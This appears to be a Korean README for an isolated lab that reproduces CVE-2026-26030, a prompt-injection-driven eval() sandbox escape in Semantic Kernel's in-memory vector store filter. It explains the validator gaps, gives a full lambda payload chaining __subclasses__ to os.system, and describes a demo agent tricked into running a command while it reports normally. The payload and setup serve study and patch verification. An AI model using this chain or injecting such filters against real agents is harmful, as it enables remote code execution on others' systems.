
윤리적, 네트워크 격리 Docker 랩으로 CVE-2026-26030을 재현 — Semantic Kernel 인메모리 벡터 스토어 필터 eval() RCE(1.39.4에서 패치됨)
eval() RCE(실습 랩)Microsoft Semantic Kernel(Python, < 1.39.4)의 인메모리 벡터 스토어 검색 필터를 통해 프롬프트 주입이 가능한 원격 코드 실행(RCE)을 재현하는 독립형 실습 환경입니다: CVE-2026-26030.
윤리적 실습 전용입니다. 전용 virtualenv로 격리됩니다. 페이로드는 무해하며 (헤드리스 PoC에서는 마커 파일을
touch하고, UI 데모에서는open -a Calculator를 실행), 여러분 자신의 권한 없는 사용자 계정으로 실행됩니다.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
python3.13이 필요합니다(SK의 numpy/scipy 의존성용 휠). PYTHON=으로 재정의할 수 있습니다.
./run.sh # runs the same payload against both venvs
취약한 버전의 출력은 RCE CONFIRMED로 끝나며, 패치된 버전은 동일한 페이로드를 '__subclasses__' ... is not allowed 메시지로 거부합니다.
OpsBot은 내부 엔지니어링 지식 베이스 에이전트(Semantic Kernel을 통해 Groq에서 호스팅되는 Llama)로서 search_runbooks(team) 도구를 노출합니다. 공격자가 악성 team 값을 프롬프트 주입하면, 에이전트는 도구를 호출하고 취약한 필터가 실행되며 TextEdit에 "랜섬 노트"가 열립니다 — 에이전트는 그 사실을 전혀 모른 채 runbook 결과를 보고합니다. 페이로드(open -e <note>)는 비차단이며 무해하고, 노트는 /tmp/PWNED_by_CVE-2026-26030.txt에 미리 준비되어 있습니다.
이 도구는 깨끗한 서브프로세스(run_filter.py)에서 실제 취약한 필터 eval을 실행합니다. 이것은 macOS 환경상 필요한 조치이지 편법이 아닙니다: 서버 자체의 fork()가 비동기 LLM/httpx 스레드와 numpy/scipy에 의해 오염되어 있어, 해당 프로세스에서 GUI를 실행하면 조용히 무시되기 때문입니다. 서브프로세스는 정확한 CVE 코드 경로(_parse_and_validate_filter → 레코드에 람다 실행)를 따릅니다.
참고: 깨끗한 서브프로세스 분리는 이 macOS 데모 하네스의 특성일 뿐, 취약점 자체의 문제는 아닙니다. Linux에 배포된 에이전트에서는 프로세스 내부의
os.system이 직접 실행되므로 서브프로세스가 필요 없습니다.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
공격자 메시지는 입력란에 미리 로드되어 있습니다. Send를 누르세요.
에이전트는 InMemoryCollection을 기반으로 하는 검색 도구를 노출합니다. LLM은 대화에서 필터 표현식 문자열(lambda x: x.team == 'platform')을 생성합니다. 이 문자열은 사용자 프롬프트 또는 검색된 콘텐츠/도구 콘텐츠에 주입된 텍스트를 통해 공격자의 영향을 받을 수 있으며, _parse_and_validate_filter로 전달되어 compile() 및 eval()이 실행됩니다(connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__는 비워지고, 먼저 AST 허용 목록이 적용됩니다 — 따라서 이는 누락된 방어가 아니라 샌드박스 우회입니다. 우회를 가능하게 하는 두 가지 허점이 있습니다:
ast.Attribute 접근에는 제한이 없습니다 — dunder 차단 목록이 없으므로 ().__class__.__base__.__subclasses__ dunder 탐색이 허용됩니다.ast.Call 이름 검사는 func가 Name 또는 Attribute일 때만 검사합니다. func가 Subscript(허용 목록에 있는)인 경우 func_name은 None으로 유지되어 허용 함수 검사가 완전히 건너뛰어집니다.따라서 임의의 호출 가능 객체를 [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/args)로 감싸면 무엇이든 호출할 수 있습니다. 체인은 다음과 같습니다:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/%27os%27).system][0]('touch /tmp/pwned_by_filter')
모든 호출의 func는 Subscript이며, 모든 탐색 단계는 단순한 속성 접근입니다. 인덱스(107)는 object.__subclasses__()에서 BuiltinImporter의 위치입니다 — Python 빌드에 따라 달라지므로 exploit.py와 데모는 이를 런타임에 계산합니다.
패치는 허용 목록 위에 위험 속성 차단 목록을 추가하여, dunder 탐색이 eval 실행 전에 거부되도록 합니다:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
에이전트 보안 논지를 가장 명확하게 정리한 표현입니다: "데이터"와 "지침" 사이에는 경계가 없습니다. 모델이 사용자의 runbook 조회를 바탕으로 작성한 필터가 os.system이 됩니다. 샌드박스는 존재했습니다 — 허용 목록과 비워진 __builtins__ — 그럼에도 속성 탐색 + 서브스크립트 호출 우회에 무너졌습니다. 이 글에서 다룰 만한 완화 대책의 우선순위: 모델 출력을 eval하지 말 것; 어쩔 수 없이 eval해야 한다면, 개방형 속성 접근이 허용된 노드 허용 목록이 아니라 닫힌 문법으로 제한할 것; 그리고 워커를 격리(seccomp / 네트워크 차단 / 권한 없음)하여 코드 실행이 게임 오버로 이어지지 않게 할 것.
| 파일 | 용도 |
|---|
setup.sh | 취약한 버전과 패치된 버전의 두 개의 격리된 venv를 빌드합니다 |
run.sh | 두 venv 모두에서 헤드리스 PoC를 실행합니다 |
exploit.py | 엔드투엔드: 실제 컬렉션 + 검색 필터 -> RCE |
find_sink.py | 설치된 패키지에서 eval/compile 싱크를 찾습니다 |
probe.py | 검증기만 사용한 최소한의 우회 확인 |
demo-ui/app.py | FastAPI + SK + Groq 에이전트; 취약한 search_runbooks 도구 |
demo-ui/run_filter.py | 깨끗한 서브프로세스에서 실제 필터 eval을 실행합니다(서버 fork()는 오염됨) |
demo-ui/index.html | 채팅 UI; RCE 발생 시 TextEdit에서 랜섬 노트를 엽니다 |